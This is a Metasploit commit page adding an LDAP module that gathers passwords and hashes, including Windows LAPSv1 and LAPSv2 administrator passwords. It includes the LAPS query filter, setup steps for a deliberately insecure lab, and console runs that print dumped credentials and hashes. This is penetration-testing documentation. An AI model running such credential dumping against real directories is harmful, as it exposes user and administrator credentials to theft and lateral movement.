Skip to content

Commit 3141152

Browse files
authored
Merge pull request rapid7#20017 from zeroSteiner/feat/mod/ldap/passwords
Add LAPSv1 and LAPSv2 LDAP Module
2 parents 0f22a18 + 2fdb261 commit 3141152

File tree

18 files changed

+1292
-928
lines changed

18 files changed

+1292
-928
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ PATH
9797
rinda
9898
ruby-macho
9999
ruby-mysql
100-
ruby_smb (~> 3.3.3)
100+
ruby_smb (~> 3.3.15)
101101
rubyntlm
102102
rubyzip
103103
sinatra
@@ -534,7 +534,7 @@ GEM
534534
ruby-progressbar (1.13.0)
535535
ruby-rc4 (0.1.5)
536536
ruby2_keywords (0.0.5)
537-
ruby_smb (3.3.13)
537+
ruby_smb (3.3.15)
538538
bindata (= 2.4.15)
539539
openssl-ccm
540540
openssl-cmac

data/auxiliary/gather/ldap_query/ldap_queries_default.yaml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -249,7 +249,7 @@ queries:
249249
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
250250
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
251251
- action: ENUM_LAPS_PASSWORDS
252-
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
252+
description: 'Dump info about computers that have LAPS v1 enabled, and passwords for them if available.'
253253
filter: '(ms-MCS-AdmPwd=*)'
254254
attributes:
255255
- cn
@@ -395,4 +395,4 @@ queries:
395395
- dNSHostname
396396
- msSMSSiteCode
397397
references:
398-
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
398+
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md

documentation/modules/auxiliary/gather/ldap_hashdump.md

Lines changed: 0 additions & 204 deletions
This file was deleted.
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
This module will gather passwords and password hashes from a target LDAP server via multiple techniques including
6+
Windows LAPS.
7+
8+
### Setup (OpenLDAP via Docker)
9+
10+
Tested in the wild.
11+
12+
You may eventually setup an intentionally insecure OpenLDAP server in docker.
13+
The below OpenLDAP server does not have any ACL, therefore the hashPassword
14+
attributes are readable by anonymous clients.
15+
16+
```
17+
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
18+
$ cd bitnami-docker-openldap
19+
$ docker-compose up -d
20+
Creating bitnami-docker-openldap_openldap_1 ... done
21+
```
22+
23+
```
24+
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
25+
[*] Reloading module...
26+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
27+
[*] Discovered base DN: dc=example,dc=org
28+
[*] The target LDAP server is not an Active Directory Domain Controller.
29+
[*] Searching base DN: dc=example,dc=org
30+
[+] Credentials (password) found in userpassword: user01:password1
31+
[+] Credentials (password) found in userpassword: user02:password2
32+
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
33+
[*] Scanned 1 of 1 hosts (100% complete)
34+
[*] Auxiliary module execution completed
35+
msf6 auxiliary(gather/ldap_passwords) >
36+
```
37+
38+
### Setup (Windows LAPSv1)
39+
1. Start with a Windows Domain Controller
40+
2. Install all the programs from the applicable binary from https://www.microsoft.com/en-us/download/details.aspx?id=46899
41+
3. Make sure the user account is a Schema Admin, reboot after joining the group
42+
4. Set the Group Policy settings as noted in Section 3 of the “LAPS_OperationsGuide.docx” file
43+
5. Run the UI as noted in Section 4, the LDAP attributes should be populated at this point
44+
45+
### Setup (Windows LAPSv2)
46+
1. Start with a Windows Domain Controller that has the April 2023 security update installed
47+
2. Follow the instructions from https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory
48+
49+
## Verification Steps
50+
51+
Follow [Setup](#setup) and [Scenarios](#scenarios).
52+
53+
## Options
54+
55+
### BASE_DN
56+
57+
If you already have the LDAP base DN, you may set it in this option.
58+
59+
### USER_ATTR
60+
61+
LDAP attribute to that contains the username. Defaults to the first attribute that exists in the search order
62+
`sAMAccountName` (Active Directory), `uid` (OpenLDAP), `dn`.
63+
64+
### PASS_ATTR
65+
66+
LDAP attribute to take the password data from. This option will be added to the array of options the module always
67+
searches for.
68+
69+
## Scenarios
70+
71+
### Avaya Communication Manager via anonymous bind
72+
73+
```
74+
msf6 auxiliary(gather/ldap_passwords) > options
75+
76+
Module options (auxiliary/gather/ldap_passwords):
77+
78+
Name Current Setting Required Description
79+
---- --------------- -------- -----------
80+
BASE_DN no LDAP base DN if you already have it
81+
PASS_ATTR userPassword no Additional LDAP attribute(s) that contain password hashes
82+
READ_TIMEOUT 600 no LDAP read timeout in seconds
83+
SSL false no Enable SSL on the LDAP connection
84+
USER_ATTR no LDAP attribute(s), that contains username
85+
86+
87+
Used when connecting via an existing SESSION:
88+
89+
Name Current Setting Required Description
90+
---- --------------- -------- -----------
91+
SESSION no The session to run this module on
92+
93+
94+
Used when making a new connection via RHOSTS:
95+
96+
Name Current Setting Required Description
97+
---- --------------- -------- -----------
98+
LDAPDomain no The domain to authenticate to
99+
LDAPPassword no The password to authenticate with
100+
LDAPUsername no The username to authenticate with
101+
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
102+
RPORT 389 no The target port
103+
THREADS 1 yes The number of concurrent threads (max one per host)
104+
105+
106+
View the full module info with the info, or info -d command.
107+
108+
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
109+
RHOSTS => 192.0.2.1
110+
111+
msf6 auxiliary(gather/ldap_passwords) > run
112+
[*] Discovered base DN: dc=vsp
113+
[*] The target LDAP server is not an Active Directory Domain Controller.
114+
[*] Searching base DN: dc=vsp
115+
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
116+
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
117+
[*] Found 2 entries and 2 credentials in 'dc=vsp'.
118+
[*] Scanned 1 of 1 hosts (100% complete)
119+
[*] Auxiliary module execution completed
120+
```
121+
122+
### NASDeluxe - NAS with Samba LM/NTLM hashes
123+
124+
```
125+
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
126+
RHOSTS => 192.0.2.1
127+
128+
msf5 auxiliary(gather/ldap_passwords) > run
129+
[*] Running module against 192.0.2.1
130+
131+
[*] Discovered base DN: dc=server,dc=nas
132+
[*] The target LDAP server is not an Active Directory Domain Controller.
133+
[*] Searching base DN: dc=server,dc=nas
134+
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
135+
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
136+
[*] Found 2 entries and 2 credentials in 'dc=server,dc=nas'.
137+
[*] Scanned 1 of 1 hosts (100% complete)
138+
[*] Auxiliary module execution completed
139+
```
140+
141+
### Windows Server 2019 - LAPSv2 with Encryption
142+
```
143+
msf6 auxiliary(gather/ldap_passwords) > run ldap://msflab.local;smcintyre:[email protected]
144+
[*] Discovered base DN: DC=msflab,DC=local
145+
[*] The target LDAP server is an Active Directory Domain Controller.
146+
[*] Searching base DN: DC=msflab,DC=local
147+
[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC)
148+
[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'.
149+
[*] Scanned 1 of 1 hosts (100% complete)
150+
[*] Auxiliary module execution completed
151+
msf6 auxiliary(gather/ldap_passwords) >
152+
```

0 commit comments

Comments
 (0)